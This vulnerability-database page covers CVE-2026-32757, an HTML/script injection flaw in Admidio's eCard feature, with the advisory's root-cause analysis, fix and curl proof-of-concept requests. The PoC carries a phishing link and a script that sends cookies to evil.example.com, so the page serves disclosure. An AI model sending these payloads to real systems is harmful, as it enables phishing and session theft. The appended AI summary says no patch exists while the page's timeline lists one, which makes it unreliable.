Skip to main content

PHP CVE-2026-32757

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-16 https://github.com/Admidio/admidio GHSA-4wr4-f2qf-x5wj
5.4
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

3
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
Analysis Generated
Mar 17, 2026 - 08:13 vuln.today
CVE Published
Mar 16, 2026 - 21:18 nvd
MEDIUM 5.4

DescriptionGitHub Advisory

Summary

The eCard send handler in Admidio uses the raw $_POST['ecard_message'] value instead of the HTMLPurifier-sanitized $formValues['ecard_message'] when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the ecard_message field during form validation.

Details

Root Cause

File: D:\bugcrowd\admidio\repo\modules\photos\ecard_send.php

At line 38, the raw POST value is captured BEFORE form validation runs:

php
$postMessage = $_POST['ecard_message'];  // Line 38: RAW value

At line 61, the form validation runs and properly sanitizes the message through HTMLPurifier (since ecard_message is registered as an editor field):

php
$formValues = $photosEcardSendForm->validate($_POST);  // Line 61: sanitized

The sanitized value is stored in $formValues['ecard_message'], but this value is never used. Instead, the raw $postMessage is passed to parseEcardTemplate() at lines 159 and 201:

php
$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...);  // Line 159
$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...);  // Line 201

Template Injection

File: D:\bugcrowd\admidio\repo\src\Photos\ValueObject\ECard.php, line 144

The parseEcardTemplate() method places the message directly into the HTML template without any encoding:

php
$pregRepArray['/<%ecard_message%>/'] = $ecardMessage;  // Line 144: no encoding

Compare this to the recipient fields which ARE properly encoded:

php
$pregRepArray['/<%ecard_reciepient_email%>/'] = SecurityUtils::encodeHTML($recipientEmail);  // Line 135
$pregRepArray['/<%ecard_reciepient_name%>/']  = SecurityUtils::encodeHTML($recipientName);   // Line 136

Inconsistency with Preview

File: D:\bugcrowd\admidio\repo\modules\photos\ecard_preview.php, line 56

The preview correctly uses the sanitized value:

php
$smarty->assign('ecardContent', $funcClass->parseEcardTemplate($imageUrl, $formValues['ecard_message'], ...));

This means the preview shows the sanitized version, but the actual sent email contains the unsanitized content.

Delivery Mechanism

The unsanitized HTML is delivered via two channels:

  1. HTML Email (primary vector): At line 218 of ECard.php, the parsed template is set as the email body via $email->setText($ecardHtmlData) followed by $email->setHtmlMail(). The malicious HTML is rendered by the recipient's email client.
  2. Database Storage: At line 214 of ecard_send.php, $message->addContent($ecardHtmlData) stores the raw HTML in the messages table. However, MessageContent::getValue() applies SecurityUtils::encodeHTML() on output, mitigating the stored XSS in the web interface.

PoC

Prerequisites: Logged-in user with access to the photo module and eCard feature enabled.

Step 1: Send an eCard with injected HTML

curl -X POST "https://TARGET/adm_program/modules/photos/ecard_send.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<session>" \
  -d "adm_csrf_token=<csrf_token>" \
  -d "ecard_template=<valid_template.tpl>" \
  -d "photo_uuid=<valid_photo_uuid>" \
  -d "photo_nr=1" \
  -d "ecard_message=<h1>Important Security Update</h1><p>Your account has been compromised. Please <a href='https://evil.example.com/phishing'>verify your identity here</a>.</p><img src='https://evil.example.com/tracking.gif'>" \
  -d "ecard_recipients[]=<target_user_uuid>"

The HTMLPurifier validation runs but its result is discarded. The raw HTML including the phishing link and tracking pixel is sent in the greeting card email.

Step 2: Escalated payload with script injection

curl -X POST "https://TARGET/adm_program/modules/photos/ecard_send.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<session>" \
  -d "adm_csrf_token=<csrf_token>" \
  -d "ecard_template=<valid_template.tpl>" \
  -d "photo_uuid=<valid_photo_uuid>" \
  -d "photo_nr=1" \
  -d "ecard_message=<script>document.location='https://evil.example.com/steal?cookie='+document.cookie</script>" \
  -d "ecard_recipients[]=<target_user_uuid>"

Most modern email clients block script execution, but older clients or webmail interfaces with relaxed CSP may execute it.

Impact

  • Phishing via Trusted Sender: The attacker sends crafted greeting cards that appear to come from the organization's system. The email sender address is the attacker's real address from their Admidio profile, but the email template and branding make it appear legitimate.
  • HTML Email Injection: Arbitrary HTML content including fake forms, misleading links, and tracking pixels can be injected into emails sent to any member or role.
  • Scope Change: The vulnerability crosses a security boundary -- the attack originates from the Admidio web application but impacts email recipients who may view the content outside of Admidio.
  • Bypasses Defense-in-Depth: The HTMLPurifier sanitization is applied but its result is discarded, defeating the intended security control.

Recommended Fix

In ecard_send.php, use the sanitized $formValues['ecard_message'] instead of the raw $_POST['ecard_message']:

php
// Line 38: Remove this line
// $postMessage = $_POST['ecard_message'];

// After line 61 (form validation), use the sanitized value:
$formValues = $photosEcardSendForm->validate($_POST);
$postMessage = $formValues['ecard_message'];

Additionally, in ECard::parseEcardTemplate(), apply encoding to the message placeholder as defense-in-depth, or at minimum document that the message is expected to contain trusted HTML:

php
// The message has already been sanitized by HTMLPurifier,
// so it can safely contain allowed HTML tags
$pregRepArray['/<%ecard_message%>/'] = $ecardMessage;

AnalysisAI

Admidio's eCard functionality is vulnerable to stored XSS when authenticated users send greeting cards, as the application uses unsanitized POST data instead of properly filtered values during email construction. An authenticated attacker can inject malicious HTML and JavaScript into eCard emails sent to other members, bypassing the HTMLPurifier sanitization that occurs during form validation. No patch is currently available for this vulnerability affecting PHP-based Admidio installations.

Technical ContextAI

Cross-site scripting (XSS) allows injection of client-side scripts into web pages viewed by other users due to insufficient output encoding.

RemediationAI

Encode all user-supplied output contextually (HTML, JS, URL). Implement Content Security Policy (CSP) headers. Use HTTPOnly and Secure cookie flags.

More in PHP

View all
CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-46506 CRITICAL POC
10.0 May 13

NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro

CVE-2024-8353 CRITICAL POC
9.8 Sep 28

The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all

Share

CVE-2026-32757 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy